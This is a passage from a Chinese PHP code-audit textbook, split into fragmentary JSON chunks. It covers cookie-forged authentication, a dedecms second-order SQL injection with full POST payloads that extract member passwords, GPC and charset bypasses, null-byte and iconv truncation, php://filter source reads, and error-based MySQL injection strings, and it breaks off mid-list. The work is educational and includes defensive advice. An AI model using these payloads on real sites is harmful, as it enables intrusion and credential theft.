    {"text": "} $db_table = db_prefix . \"order\" ； $db_where = \" WHERE userid=$userid\" ； 在代码中$userid=$this->ec_member_username_id； 这行代码设置当前用户ID，随后根据这个$userid变量去直接操作这个id的用户数据，而这个$this->ec_member_username_id变量的值又是从哪来的呢？ 注意代码最开始的地方有调用parent：：member_purview（）函数，我们跟过去看看，在/public/class_connector.php文件的member_purview（）函数，代码如下： function member_purview （ $userrank = false ， $url = null ， $upurl = false ） { $this->ec_member_username = $this->fun->eccode （ $this->fun-> accept （ 'ecisp_member_username' ， 'C' ）， 'DECODE' ， db_pscode ）； $user_info = explode （ '|' ， $this->fun->eccode （ $this->fun-> accept （ 'ecisp_member_info' ， 'C' ）， 'DECODE' ， db_pscode ））； list （ $this->ec_member_username_id ， $this->ec_member_alias ， $this-> ec_member_integral ， $this->ec_member_mcid ， $this->ec_member_email ， $this->ec_member_lastip ， $this->ec_member_ipadd ， $this->ec_member_useragent ， $this->ec_member_adminclassurl ） = $user_info ； 可以看到list（）函数中使用$user_info数组为$this->ec_member_username_id变量进行赋值，而$user_info数组是从cookie中解密出来的，关于这个算法的加密代码在/public/class_function.php文件的eccode（）函数，代码如下： function eccode （ $string ， $operation = 'DECODE' ， $key = '@LFK24s224%@safS3s%1f%' ， $mcrype = true ） { $result = null ；"},
    {"text": "if （ $operation == 'ENCODE' ） { for （ $i = 0 ； $i < strlen （ $string ）； $i++ ） { $char = substr （ $string ， $i ， 1 ）； $keychar = substr （ $key ， （ $i % strlen （ $key ）） - 1 ， 1 ）； $char = chr （ ord （ $char ） + ord （ $keychar ））； $result.=$char ； } $result = base64_encode （ $result ）； $result = str_replace （ array （ '+' ， '/' ， '=' ）， array （ '-' ， '_' ， '' ）， $result ）； } elseif （ $operation == 'DECODE' ） { $data = str_replace （ array （ '-' ， '_' ）， array （ '+' ， '/' ）， $string ）； $mod4 = strlen （ $data ） % 4 ； if （ $mod4 ） { $data .= substr （ '====' ， $mod4 ）； } $string = base64_decode （ $data ）；"},
    {"text": "for （ $i = 0 ； $i < strlen （ $string ）； $i++ ） { $char = substr （ $string ， $i ， 1 ）； $keychar = substr （ $key ， （ $i % strlen （ $key ）） - 1 ， 1 ）； $char = chr （ ord （ $char ） - ord （ $keychar ））； $result.=$char ； } } return $result ；"},
    {"text": "6.3.2 漏洞防范 所有用户输入的值都是不完全可信的，所以在防御认证漏洞之前，我们应该先了解认证的业务逻辑，严格限制输入的异常字符以及避免使用客户端提交上来的内容去直接进行操作。"},
    {"text": "应该把cookie和session结合起来使用，不能从cookie中获取参数值然后进行操作。 另外在设置session时，需要保证客户端不能操作敏感session参数。 特别需要注意的是敏感数据不要放到cookie中，目前还有不少应用会把账号和密码都直接放入到cookie中，cookie在浏览器端以及传输过程中都存在被窃取的可能性，如果程序限制了一个用户只能同时在一个IP上面登录，这时候即使别人拿到了你不带密码的cookie也会使用不了，但是如果cookie里面保存了用户名和密码，这时候攻击者就可以尝试用密码直接登录了。"},
    {"text": "第7章 二次漏洞审计 二次漏洞有点像存储型XSS的味道，就算payload插进去了，能不能利用还得看页面输出有没有过滤，由于这一类漏洞挖掘起来逻辑会稍微复杂一点，针对性挖掘的人比较少，所以目前这方面还属于重灾区，大多数应用只要肯仔细去通读研究全文代码，理解业务逻辑，还是能挖出来部分二次漏洞的。既然二次漏洞现在这么严重，那么我们来看看什么是二次漏洞以及怎样挖掘。 7.1 什么是二次漏洞 需要先构造好利用代码写入网站保存，在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞，举一个简单的SQL注入例子，攻击者A在网站评论的地方发表了带有注入语句的评论，这时候注入语句已经被完整地保存到数据库中，但是评论引用功能存在一个SQL注入漏洞，于是攻击者在评论处引用刚提交的带有注入语句的评论，提交后server端从数据库中取出第一次的评论，由于第一次评论中带有单引号可闭合第二次的语句，从而触发了注入漏洞，这是一个非常经典的而又真实的案例，它就是在2013年5月初被公布的dedecms评论二次注入漏洞，不过当时还有一个非常精彩的60个字符长度限制突破，稍后我们在案例里面分析这个漏洞的来龙去脉。 二次漏洞的出现归根结底是开发者在可信数据的逻辑上考虑不全面，开发者认为这个数据来源或者这个配置是不会存在问题的，而没有想到另外一个漏洞能够修改这些“可信”数据，整个漏洞产生的流程图如图7-1所示。 图 7-1 这样的漏洞没有很大的逻辑关联，所以在发现和修补上面都比一般的直接利用的漏洞相对复杂一点。 7.2 二次漏洞审计技巧 虽然二次漏洞写入payload和触发payload很可能不在一个地方，但是还是可以通过找相关关键字去定位的，只是精准度会稍稍降低，比如可以根据数据库字段、数据表名等去代码中搜索，大多数二次漏洞的逻辑性比一般的漏洞强得多，所以为了更好地挖掘到二次漏洞，最好还是把全部代码读一遍，这样能帮助我们更好地了解程序的业务逻辑和全局配置，读代码挖的时候肯定轻松加愉快。 业务逻辑越是复杂的地方越容易出现二次漏洞，我们可以重点关注购物车、订单这块，另外还有引用数据、文章编辑、草稿等，这些地方是跟数据库交互的，跟文件系统交互的就是系统配置文件了，不过一般这些都是需要管理员权限才能操作。而在二次漏洞类型里面，我们可以重点关注SQL注入、XSS。"},
    {"text": "7.3 dedecms二次注入漏洞分析 顺便找一找还是能找到不少二次漏洞很经典的案例，这里我们还是以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析，该漏洞在2013年3月在乌云网被公布，漏洞编号WooYun-2013-18562，作者为safekey团队的yy520，公布初期还有一个60个注入字符的限制，在经过safekey团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。 在漏洞公布之后，官方立即采取措施进行了漏洞修复，但非专业安全的人修复漏洞都有一个通病，不会做漏洞联想，别人指出哪有漏洞就修哪，跟这个漏洞同样利用方式的漏洞，在另外一个文件至今几年过去了还存在。 漏洞在/plus/feedback.php文件，代码如下： // 保存评论内容 if （ $comtype == 'comments' ） { $arctitle = addslashes （ $title ）；"},
    {"text": "='' ） { $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arctitle` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ）；"},
    {"text": "这段代码的功能是保存用户在文章评论页面提交的评论信息，其中： $arctitle = addslashes （ $title ）； 获取被评论的文章标题，这里使用了addslashes（）函数过滤，接着： $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arctitle` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ）；"},
    {"text": "将提交的$arctitle变量保存到数据库中，这个过程是没有问题的，我们接着看： // 引用回复 elseif （ $comtype == 'reply' ） { $row = $dsql->GetOne （ \"SELECT * FROM `#@__feedback` WHERE id ='$fid'\" ）；"},
    {"text": "$msg = $quotemsg.$msg ； //echo $msg.\"<br /><br />\" ； $msg = HtmlReplace （ $msg ， 2 ）； // 将 $arctitle 插入到数据库 $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arctitle` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ） \" ； $dsql->ExecuteNoneQuery （ $inquery ）； } 这段代码的作用是引用之前的评论到新的评论中，其中： $row = $dsql->GetOne （ \"SELECT * FROM `#@__feedback` WHERE id ='$fid'\" ）；"},
    {"text": "// 取出之前保存的文章标题 取出之前提交的文章标题，赋值给$arctitle变量，再往下： $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arc-title` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ） \" ；"},
    {"text": "可以看到$arctitle变量被写入到数据库，看到这里还记不记得，这个$arctitle是由用户提交的，第一次写入数据库的时候使用了addslashes（）函数过滤，但是引用评论重新写入数据库的时候并没有过滤，文章标题的数据在整个流程的变化如图7-2所示。"},
    {"text": "图 7-2 用SQL来表示一下如下： 第一次插入的SQL为： insert into xx （ arctitle ） values （ '11\\'' ）； 保存到数据库的标题内容为11'，然后这个数据被select查询出来拼接到第二次插入的SQL上，SQL语句如下： insert into xx （ arctitle ） values （ '11'' ）；"},
    {"text": "在这个漏洞中，标题字段有60个字符的长度限制，不能一次性把完整的payload写入进去，所以我们需要两次提交payload，最终利用方式如下，第一次请求提交 /plus/feedback.php ？"},
    {"text": "aid=52 POST内容： action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx' ，（ char （ @`'` ））， /* 我们打印SQL语句出来看看，如图7-3所示。"},
    {"text": "aid=52 POST内容： action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1 ， 2 ， 3 ， 4 ， 5 ， 6 ， 7 ，（ select/**/concat （ userid ， 0x3a ， pwd ） /**/from/**/dede_member/**/limit/**/1 ）） %23 打印SQL语句出来看看，如图7-4所示。"},
    {"text": "第8章 代码审计小技巧 有句话叫熟能生巧，说的是做任何事情，只要做的次数足够多，到达一定熟悉程度后，就一定会掌握一些技巧，来优化我们的效率，那在PHP代码审计这么技术性的工作上，技巧是一定有的，有了这些技巧之后，我们的代码审计就能事半功倍，也能帮助我们挖掘到更多更有价值的漏洞。 因为本书主要介绍的是PHP代码审计，所以PHP应用代码本身之外的漏洞利用的技巧不会介绍。下面我们会从怎么钻GPC等过滤、字符串常见的安全问题、PHP输入输出流、FUZZ挖掘漏洞以及正则表达式不严谨容易出现的问题等几个方面来介绍一些小技巧。 8.1 钻GPC等转义的空子 GPC会自动把我们提交上去的单引号等敏感字符给转义掉，这样我们的攻击代码就没法执行了，GPC是PHP天生自带的功能，所以是我们最大的天敌。不过不要担心，GPC并不是把所有变量都进行了过滤，反而人们容易忽视而又用得多的$_SERVER变量没有被GPC过滤，包括编码转换的过程中，部分情况下我们也是可以干掉GPC的转义符号，是不是有点小激动？下面我们来仔细了解下。 8.1.1 不受GPC保护的$_SERVER变量 GPC上面我们已经介绍过，是用来过滤request中提交的数据，将特殊字符进行转义来防止攻击，在PHP5之后用$_SERVER取到的header字段不受GPC影响，所以当GPC开启的时候，它里面的特殊字符如单引号也不会被转义掉，另外一点是普通程序员很少会考虑到这些字段被修改。而在header注入里面最常见的是user-agent、referer以及client-ip/x-forward-for，因为大多的Web应用都会记录访问者的IP以及referer等信息。同样的$_FILES变量也一样不受GPC保护。 测试代码如下： < ？ php echo 'GPC'.get_magic_quotes_gpc （）； echo '<br /> client-ip = '.$_SERVER[\"HTTP_CLIENT_IP\"] ； echo '<br />$_GET[a] = '.$_GET['a'] ； 测试截图见图8-1。 图 8-1 8.1.2 编码转换问题 本书前面第4章介绍过宽字节注入，这就是一种非常典型的编码转换问题导致绕过GPC的方式。我们之前的举例说明，给一个查询页面ID参数请求/1.php？id=-1%df’and 1=1%23时，这时MySQL运行的SQL语句为： select * from user where id= ’ 1 運’ and 1=1# ’ 这是由于单引号被自动转义成\\’，前面的%df和转义字符\\反斜杠（%5c）组合成了%df%5c，也就是“運”字，这时候单引号依然还在，于是成功闭合了前面的单引号。 这个例子讲的是PHP与MySQL交互过程中发生编码转换导致的问题，而其实只要发生编码转换就有可能出现这种问题，也就是说在PHP自带的编码转换函数上面也会存在这个问题，比如mb_convert_encoding（）函数。 我们来证实一下，代码如下： <meta http-equiv=\"Content-Type\" content=\"text/html ； charset=utf-8\"/> < ？ php $sql=\"where id='\".urldecode （ \"-1%df%5c' -- \" ） .\"'\" ； print_r （ mb_convert_encoding （ $sql ， \"UTF-8\" ， \"GBK\" ））；？ > 这里要注意的是，把网页和文件编码都设置成UTF-8，不然浏览器会自动转码，这段代码是把UTF-8编码转换成GBK，运行这段代码，输出如下： where id='-1 運 ' -- ' 可以看到也成功闭合了前面的单引号。 这种方式造成的SQL注入也有不少先例，比如ecshop就出过多次这个问题，我们来看看出现这个问题的核心代码，代码位置在includes/cls_iconv.php文件的chinese类中的Convert（）函数： function Convert （ $source_lang ， $target_lang ， $source_string = '' ） { /****** 省略 ****/ if （（ $this->iconv_enabled || $this->mbstring_enabled ） && ！（ $this-> config['source_lang'] == 'GBK' && $this->config['target_lang'] == 'BIG-5' ）） { if （ $this->config['target_lang'] ！ = 'UNICODE' ） { $string = $this->_convert_iconv_mbstring （ $this-> SourceText ， $this->config['target_lang'] ， $this-> config['source_lang'] ）； /* 如果正确转换 */ if （ $string ） { return $string ； } } else { $string = '' ； $text = $SourceText ； while （ $text ） { if （ ord （ substr （ $text ， 0 ， 1 ）） > 127 ） { if （ $this->config['source_lang'] ！ = 'UTF-8' ） { $char = $this->_convert_iconv_mbstring （ substr （ $text ， 0 ， 2 ）， 'UTF-8' ， $this->config ['source_lang'] ）； } else 这个函数的作用是将UTF-8的编码转换成GBK，本函数调用到$this->_convert_iconv_mbstring（）函数，我们跟进去看看，代码如下： function _convert_iconv_mbstring （ $string ， $target_lang ， $source_lang ） { if （ $this->iconv_enabled ） { $return_string = @iconv （ $source_lang ， $target_lang ， $string ）； if （ $return_string ！ == false ） { return $return_string ； } } if （ $this->mbstring_enabled ） { if （ $source_lang == 'GBK' ） { $source_lang = 'CP936' ； } if （ $target_lang == 'GBK' ） { $target_lang = 'CP936' ； } $return_string = @mb_convert_encoding （ $string ， $target_lang ， $source_lang ）； if （ $return_string ！ == false ） 可以看到最终调用iconv（）函数或者mb_convert_encoding（）函数来进行转码，如果调用这个函数之后没有再次过滤，则会存在注入问题。"},
    {"text": "8.2 神奇的字符串 中国文字博大精深，而在计算机里面就是因为这些语言的“博大”即大而杂，导致机器在语言编码转换的时候，经常会出现各种各样的异常，这些神奇的字符串就有可能组合成一堆乱码出来，也有可能直接把程序搞崩溃掉，不过总有那么一些字符，可以帮助我们在利用漏洞的时候变得更简单一些，下面我们就来看看是哪些函数这么调皮。"},
    {"text": "8.2.1 字符处理函数报错信息泄露 页面的报错信息通常能泄露文件绝对路径、代码、变量以及函数等信息，页面报错有很多情况，比如参数少了或者多了、参数类型不对、数组下标越界、页面超时，等，不过并不是所有情况下页面都会出现错误信息，要显示错误信息需要打开在PHP配置文件php.ini中设置display_errors=on或者在代码中加入error_reporting（）函数，error_reporting（）函数有几个选项来配置显示错误的等级，列表如下： E_WARNING E_PARSE E_NOTICE E_CORE_ERROR E_CORE_WARNING E_COMPILE_ERROR E_COMPILE_WARNING E_USER_ERROR E_USER_WARNING E_USER_NOTICE E_STRICT E_RECOVERABLE_ERROR E_ALL 其中最常用的是E_ALL、E_WARNING、E_NOTICE、E_ALL代表提示所有问题，E_WARNING代表显示错误信息，E_NOTICE则是显示基础提示信息。 大多数错误提示都会显示文件路径，在渗透测试中，经常遇到webshell的场景要用到文件绝对路径，所以这个利用页面报错来获取Web路径的方式也比较实在了，用户提交上去的数据后端大多是以字符串方式处理，所以利用字符串处理函数报错成了必不可少的方法，对于利用参数来报错的方式，给函数传入不同类型的变量是最实用的方式。"},
    {"text": "大多数程序会使用trim（）函数对用户名等值去掉两边的空格，这时候如果我们传入的用户名参数是一个数组，则程序就会报错，测试代码如下： < ？"},
    {"text": "图 8-2 类似的函数还有很多很多，比如 addcslashes（）、addslashes（）、bin2hex（）、chop（）、chr（）、chunk_split（）、convert_cyr_string（）、convert_uudecode（）、convert_uuencode（）、count_chars（）、crc32（）、crypt（）、echo（）、explode（）、fprintf（）、get_html_translation_table（）、hebrev（）、hebrevc（）、html_entity_decode（）、htmlentities（）、htmlspecialchars_decode（）、htmlspecialchars（）、implode（）、join（）、levenshtein（）、localeconv（）、ltrim（）、md5_file（）、md5（）、metaphone（）、money_format（）、nl_langinfo（）、nl2br（）、number_format（）、ord（）、parse_str（）、print（）、printf（）、quoted_printable_decode（）、quotemeta（）、rtrim（）、setlocale（）、sha1_file（）、sha1（）、similar_text（）、soundex（）、sprintf（）、sscanf（）、str_ireplace（）、str_pad（）、str_repeat（）、str_replace（）、str_rot13（）、str_shuffle（）、str_split（）、str_word_count（）、strcasecmp（）、strchr（）、strcmp（）、strcoll（）、strcspn（）、strip_tags（）、stripcslashes（）、stripos（）、stripslashes（）、stristr（）、strlen（）、strnatcasecmp（）、strnatcmp（）、strncasecmp（）、strncmp（）、strpbrk（）、strpos（）、strrchr（）、strrev（）、strripos（）、strrpos（）、strspn（）、strstr（）、strtok（）、strtolower（）、strtoupper（）、strtr（）、substr_compare（）、substr_count（）、substr_replace（）、substr（）、trim（）、ucfirst（）、ucwords（）、vfprintf（）、vprintf（）、vsprintf（）、wordwrap（）、strtolower（）、strtoupper（）、ucfirst（）、ucwords（）、ucfirst（）、ucwords（），等等函数。"},
    {"text": "8.2.2 字符串截断 如果你以前做过渗透测试，那字符串截断应该是我们比较熟悉的一个利用方式，特别是在零几年，在利用文件上传漏洞的时候，经常会用到抓包，然后修改POST文件上传数据包里面的文件，在文件名里面加一个%00，用来绕过文件扩展名的检查，又能把脚本文件写入到服务器中，下面我们就来了解下其中的原理吧。 8.2.2.1 %00空字符截断 字符串截断被利用最多的是在文件操作上面，通常用来利用文件包含漏洞和文件上传漏洞，%00即NULL是会被GPC和addslashes（）函数过滤掉，所以要想用%00截断需要GPC关闭以及不被addslashes（）函数过滤，另外在PHP5.3之后的版本全面修复了文件名%00截断的问题，这个版本以后也是不能用这种方式截断。 为什么PHP在文件操作的时候用%00会截断字符？ PHP基于C语言开发，%00在URL解码后为\\0，\\0在C语言中是字符串结束符，遇到\\0的时候以为到了字符串结尾，不再读取后面的字符串，自然而然的就理解成了截断。"},
    {"text": "在同目录下面新建文件2.txt，内容为输出phpinfo信息代码，当我们请求/1.php？ f=2.txt%00时，实际上包含了2.txt这个文件，正常执行phpinfo代码。"},
    {"text": "8.2.2.2 iconv函数字符编码转换截断 iconv（）函数用来做字符编码转换，比如从UTF-8转换到GBK，字符集的编码转换总会存在一定的差异性，导致部分编码不能被成功转换，也就是出现常说的乱码。 在使用iconv（）函数转码的时候，当遇到不能处理的字符串则后续字符串会不被处理。"},
    {"text": "图 8-3 可以看到第一次输出$a变量，1和2都被正常输出，当使用iconv（）函数转换编码后，从chr（130）字符开始之后的字符串都没有输出，已经被成功截断。"},
    {"text": "这种截断有很多利用常见，下面我们来看一个真实的案例，乌云平台漏洞【建站之星模糊测试实战之任意文件上传漏洞】，漏洞编号WooYun-2014-48293，漏洞作者为felixk3y，漏洞发生在/module/mod_tool.php文件第89行起，img_create（）函数，代码如下： public function img_create （） { $file_info =& ParamHolder ：： get （ 'img_name' ， array （）， PS_FILES ）；"},
    {"text": "preg_match （ '/\\. （ '.PIC_ALLOW_EXT.' ） $/i' ， $file_info[\"name\"] ）） { Notice ：： set （ 'mod_marquee/msg' ， __ （ 'File type error ！"},
    {"text": "} if （ file_exists （ ROOT.'/upload/image/'.$file_info[\"name\"] ）） { $file_info[\"name\"] = Toolkit ：： randomStr （ 8 ） .strrchr （ $file_info[\"name\"] ， \".\" ）；"},
    {"text": "} 在这里调用_savelinkimg（）函数保存文件，跟进该函数，函数代码如下： private function _savelinkimg （ $struct_file ） { $struct_file['name'] = iconv （ \"UTF-8\" ， \"gb2312\" ， $struct_file['name'] ）； echo $struct_file['name'] ； move_uploaded_file （ $struct_file['tmp_name'] ， ROOT.'/upload/image/'.$struct_ file['name'] ）； return ParamParser ：： fire_virus （ ROOT.'/upload/image/'.$struct_file['name'] ）； } 代码中： $struct_file['name'] = iconv （ \"UTF-8\" ， \"gb2312\" ， $struct_file['name'] ）； 对文件名进行转码，之后： move_uploaded_file （ $struct_file['tmp_name'] ， ROOT.'/upload/image/'.$struct_file['name'] ）；"},
    {"text": "8.3 php：//输入输出流 提到流，大家会想到水流或者数据流，PHP提供了php://的协议允许访问PHP的输入输出流、标准输入输出和错误描述符，内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。主要提供如下访问方式来使用这些封装器： php ： //stdin php ： //stdout php ： //stderr php ： //input php ： //output php ： //fd php ： //memory php ： //temp php ： //filter 使用最多的是php://input、php://output以及php：//filter，其中php://input是可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据，但是php://input不能在获取“multipart/form-data”方式提交的数据。我们做一个测试，测试代码如下： < ？ php echo file_get_contents （ \"php ： //input\" ）； 当我们用POST提交a=111111时，a=111111被直接打印出来，如图8-4所示。 图 8-4 而php://output是一个只写的数据流，跟php://input相反，php://input是读取POST提交上来的数据，而php://output则是将流数据输出。 php://filter是一个文件操作的协议，可以对磁盘中的文件进行读写操作，效果类似于readfile（）、file（）和file_get_contents（），它有多个参数可以进行相应的操作，说明如表8-1所示。 表 8-1 我们来测试使用php：//filter写文件，测试代码如下： < ？ php file_put_contents （ \"php ： //filter/write=string.rot13/resource=example.txt\" ， \"Hello World\" ）；？ > 当我们执行代码的时候，会像脚本同目录下写入“example.txt”文件，内容为rot13编码过的“Hello World”，而php：//filter还可以用来读文件，如果有远程文件保护漏洞，类似如下的代码： < ？ php include （ $_GET['f'] ）；？ > 正常情况下如果我们直接传入一个文件名，则是会被include函数包含并执行，如果我们想读取Web目录下的PHP文件，则可以通过请求： /1.php ？ f=php ： //filter/convert.base64-encode/resource=1.php 来将文件进行Base64编码后输出，输入结果如图8-5所示。 图 8-5 8.4 PHP代码解析标签 PHP有几种解析标签的写法来标识PHP代码，比如最标准的<？php？>，当PHP解析器找到这个标签的时候，就会执行这个标签里面的代码，实际上除了这种写法外还有一些标签，分别如下： 1）脚本标签 ：<script language=\"php\">...</script>，这种方式写法有点像JavaScript，不过也是可以正常解析PHP代码。 2）短标签 ：<？…？>，使用短标签前需要在php.ini中设置short_open_tag=on，默认是on状态。 3）asp标签 ：<%…%>，在PHP 3.0.4版后可用，需要在php.ini中设置asp_tags=on，默认是off。 因为有的程序在后台配置模板的时候，禁止提交<？php？>这样的标签来执行PHP代码，但是大部分程序会存在过滤不全的问题，所以这些各式各样的写法常常用于留后门以及绕过Web程序或者waf的防护写入webshell。 我们来测试脚本标签方式，测试代码如下： <script language=\"php\"> phpinfo （） </script> 执行后如图8-6所示。 图 8-6 可以看到PHP代码可以正常解析执行。"},
    {"text": "8.5 fuzz漏洞发现 fuzz指的是对特定目标的模糊测试，这里要注意的是，针对特定目标甚至说是特定请求，它不同于漏洞扫描器进行批量漏洞扫描，不过它们的初衷都是以发现bug（漏洞）为目的。由于本书主要介绍代码安全，所以我们后面所说的fuzz都是安全方向的fuzz。fuzz在很早就应用在软件测试领域，并且发现了大量不可预知的漏洞，fuzz到底是怎么样的一个东西，我们来通过它的工作原理流程认识一下，大概流程如图8-7所示。 图 8-7 举个最简单的读文件例子，当我们用Office Word打开doc文档的时候，Word软件会按照指定的格式读取文件的内容，如果文件格式出现异常字符，Word无法解析，而又没有提前捕捉到这种类型的错误，则有可能引发Word程序崩溃，这就是一个bug，这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档，然后调用Word程序去读取，尝试发现更多的bug，这就是一个完整的fuzz测试例子。虽然它不是一种纯白盒的漏洞挖掘方法，但我们在白盒审计过程中，也经常需要用到fuzz的方式来寻找漏洞利用方法。 目前互联网上已经有不少fuzz工具来专门做各种各样的fuzz测试，比如无线、Web、浏览器、协议，等等，在Web安全这块，使用比较多的像pywebfuzz，基于Python开发，不过相对来说这个工具年代还是有点久了，可以用的payload还算比较全，比较常见的文件包含、文件上传、SQL注入、XSS等都支持，详细的列表如图8-8所示。 图 8-8 playload文件在各个目录下面，我们打开其中一个payload规则文件后，可以看到类似如下的规则： cFc%20%20%20 dBm%20%20%20 cfm...... cfml...... cfc....... dbm...... cFm...... cFml...... cFc...... dBm...... cfm%20%20%20...%20.%20.. cfml%20%20%20...%20.%20.. cfc%20%20%20...%20.%20.. dbm%20%20%20...%20.%20.. cFm%20%20%20...%20.%20.. 我们之前在8.2.2.2节介绍iconv函数字符编码转换截断时提到过一个字符串枚举来尝试寻找能导致iconv（）函数异常而截断数据，也是fuzz非常典型的一种利用方式，当时fuzz用的代码非常粗糙，如下所示： < ？ php for （ $i=0 ； $i<1000 ； $i++ ） { $a='1'.chr （ $i ） .'2' ； echo $i.' -- ' ； echo iconv （ \"UTF-8\" ， \"gbk\" ， $a ）； echo '<br />' ； } 运行脚本后结果如下，当遇到不能正常转码的时候出现字符串截断，并且iconv（）函数报出一个notice提示，如图8-9所示。 图 8-9 8.6 不严谨的正则表达式 很多程序在判断文件上传扩展名、URL解析、入库参数等值的时候，都会使用正则表达式，正则表达式确实是一个非常方便和灵活的东西，能够帮助我们少写很多逻辑处理的代码，但是正则表达式也跟程序语言一样，规则写得不严谨，就会导致安全问题产生，至今已经有很多程序在这块栽了跟头，常见的几种问题如下。 1.没有使用^和$限定匹配开始位置 举例来说明，通过HTTP_CLIENT_IP来获取用户IP，其中这个值是可以被用户修改的，所以一般都会在服务端再过滤一下，看看是否被修改过，而过滤不严格的正则表达式很多都写成“\\d+\\.\\d+\\.\\d+\\.\\d+”的形式，用代码来看看它的问题的在哪： < ？ php $ip=$_SERVER['HTTP_CLIENT_IP'] ； if （ preg_match （ '/\\d+\\.\\d+\\.\\d+\\.\\d+/' ， $ip ）） { echo $ip ； } 当请求头里面添加“client-ip：127.0.0.1aa”时输出127.0.0.1aa，同样通过检测，严谨一点的正则应该写成“^\\d+\\.\\d+\\.\\d+\\.\\d+$”。 2.特殊字符未转义 在正则表达式里，所有能被正则表达式引擎解析的字符都算是特殊字符，而在匹配这些字符的原字符时需要使用反斜杠（\\）来进行转义，如果不进行转义，像样英文句号（.）则可用来表示任何字符，存在安全隐患。下面介绍一个例子，代码如下： < ？ php $filename=urldecode （ 'xxx.php%00jpg' ）； if （ preg_match （ '/. （ jpg|gif|png|bmp ） $/i' ， $filename ）） { file_put_contents （ $filename ， 'aa' ）； } else{ echo ' 不允许的文件扩展名 ' ； } ？ > 从这段代码的意思可以看出，程序员原本是想检查文件的扩展名，如果不是图片文件则不允许上传，但是在检查扩展名的时候，正则表达式里面扩展名前面的点（.）没有进行转义，导致变成了全匹配符。如果这时候提交的文件名是'xxx.php%00jpg'，则会绕过检查并写入一个PHP脚本文件。"},
    {"text": "8.7 十余种MySQL报错注入 利用数据库报错来显示数据的注入方式经常会在入侵中利用到，这种方法有一点局限性，需要页面有错误回显。而在代码审计中，经常会遇到没有正常数据回显的SQL注入漏洞，这时候我们就需要用报错注入的方式最快地拿到注入的数据。 早在很久以前就用到的数据类型转换报错是用得最多的一种方式，这种方式大多用在微软的SQL Server上，利用的是convert（）和cast（）函数，MySQL的报错SQL注入方式更多，不过多数人以为只有三种，分别是floor（）、updatexml（）以及extractvalue（）这三个函数，但实际上还有很多个函数都会导致MySQL报错并且显示出数据，它们分别是GeometryCollection（）、polygon（）、GTID_SUBSET（）、multipoint（）、multilinestring（）、multipolygon（）、LINESTRING（）、exp（），下面我们来看看它们具体的报错用法，需要注意的一点是，这些方法并不是在所有版本都通用，也有比较老的版本没有这些函数。 通常注入的SQL语句大多是\"select*from phpsec where id=？”这种类型，这里我们就用这种形式来说明怎么利用，利用方式分别如下。 第一种：floor（） 注入语句： id=1 and （ select 1 from （ select count （ * ）， concat （ user （）， floor （ rand （ 0 ） *2 ）） x from information_schema.tables group by x ） a ） SQL语句执行后返回的错误信息如图8-10所示。 图 8-10 通过截图我们可以看到MySQL出现了报错，并且显示出了当前的连接用户名。 第二种：extractvalue（） 注入语句： id = 1 and （ extractvalue （ 1 ， concat （ 0x5c ， （ select user （））））） 错误信息如图8-11所示。 第三种：updatexml（） 注入语句： id = 1 AND （ updatexml （ 1 ， concat （ 0x5e24 ，（ select user （））， 0x5e24 ）， 1 ）） 图 8-11 错误信息： [Err] 1105 - XPATH syntax error ： '^$root@localhost^$' 第四种：GeometryCollection（） 注入语句： id = 1 AND GeometryCollection （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第五种：polygon（） 注入语句： id = 1 AND polygon （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第六种：multipoint（） 注入语句： id = 1 AND multipoint （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第七种：multilinestring（） 注入语句： id = 1 AND multilinestring （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第八种：multipolygon（） 注入语句： id = 1 AND multipolygon （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第九种：linestring（） 注入语句： id = 1 AND 